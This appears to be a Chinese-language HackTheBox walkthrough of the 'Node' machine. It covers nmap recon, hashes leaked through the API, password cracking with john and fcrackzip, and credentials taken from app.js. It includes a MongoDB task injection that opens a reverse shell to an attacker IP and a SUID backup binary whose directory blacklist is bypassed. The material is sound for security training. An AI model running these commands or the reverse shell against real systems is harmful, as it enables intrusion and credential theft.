1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
node.md 6.25 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-06-17 15:22 . update pics route

信息收集

sudo nmap -p- -n --open -v 10.10.10.58 
nmap -p 22,3000 -sV -A -Pn 10.10.10.58
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-datanode Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

3000端口的web,基本确认是nodejs

从页面得知有tom mark rastating三个用户

扫目录啥也没扫出来,burp history里发现了api/users/latest, /admin等接口

node1

状态码304,访问下看看

node1

{
    "_id": "59a7368398aa325cc03ee51d",
    "username": "tom",
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
    "is_admin": false
},
{
    "_id": "59a7368e98aa325cc03ee51e",
    "username": "mark",
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
    "is_admin": false
},
{
    "_id": "59aa9781cced6f1d1490fce9",
    "username": "rastating",
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
    "is_admin": false
}

尝试访问/api/users/,也存在信息泄露

node1

比latest接口多出一个admin

{"_id":"59a7365b98aa325cc03ee51c",

"username":"myP14ceAdm1nAcc0uNT",

"password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",

"is_admin":true}

在浏览器调试器中查看js,代码不多,手动提取出全部路由

node1

/api/admin/backup
/api/session
/api/users/latest
/api/session/authenticate
/admin
/api/users/$username
/login
/partials/home.html
/partials/login.html
/partials/admin.html
/profiles/$username

离线爆破密码

先hashid看了一下,多个符合

hashid -j dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0a

node1

挑了一个普通用户tom,和admin用户的密码hash放在node.txt里,挨个格式尝试爆破,第二个raw-sha256就成功了

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt node.txt

node1

这样我们就能得到已知用户的密码如下(rastating没爆破出来):

username passwd
tom spongebob
myP14ceAdm1nAcc0uNT manchester
mark snowflake
rastating failed

先登管理员账号看看

node1

把备份下载下来,是一个文本文件,但看形式猜测是经过base64编码。解一下确实能看到app.html等字样

cat myplace.backup|base64 -d > myplace.zip

搞定

node1

部分文件存在密码加密,使用管理员密码失败

我装了个fcrackzip来爆破(也可以zip2john,然后john爆破hash)

fcrackzip myplace.zip -D -p /usr/share/wordlists/rockyou.txt

node1

magicword

成功解压,在app.js中发现

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017

mark

5AYRft73VtFpc84k

mongodb命令执行

利用这组凭据成功ssh登录,发现user.txt在tom的家目录,应该要先拿到tom的权限。

ps -ef|grep tom

发现有两个app.js

node1

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

和我们已经看过的myspace app.js的连接串区别在于数据库名是scheduler.且会执行tasks里cmd的值

mongo 127.0.0.1/scheduler -u mark -p 5AYRft73VtFpc84k
show collections
db.tasks.find()
db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'"})

node1

node1

suid提权

找suid发现一个/usr/local/bin/backup,群组是admin,tom能用

但是backup --help都没有说明

看wp才知道与之前的backup_key有关系

回到myspace里的app.js

const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
  app.get('/api/admin/backup', function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';

      proc.on("exit", function(exitCode) {
        res.header("Content-Type", "text/plain");
        res.header("Content-Disposition", "attachment; filename=myplace.backup");
        res.send(backup);
      });

      proc.stdout.on("data", function(chunk) {
        backup += chunk;
      });

      proc.stdout.on("end", function() {
      });
    }
    else {
      res.send({
        authenticated: false
      });
    }
  });

尝试复制root.txt

backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt

得到base64输出的字符串,就是跟之前下载base64的备份是一样的,解码后转成zip,magicword解压

结果是张嘲笑图

ltrace追一下,发现是有目录黑名单的

找一个普通文件追一下完整流程看看

node1

挺搞的,直接cd到根目录下复制root/就绕过了

node1

node1

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助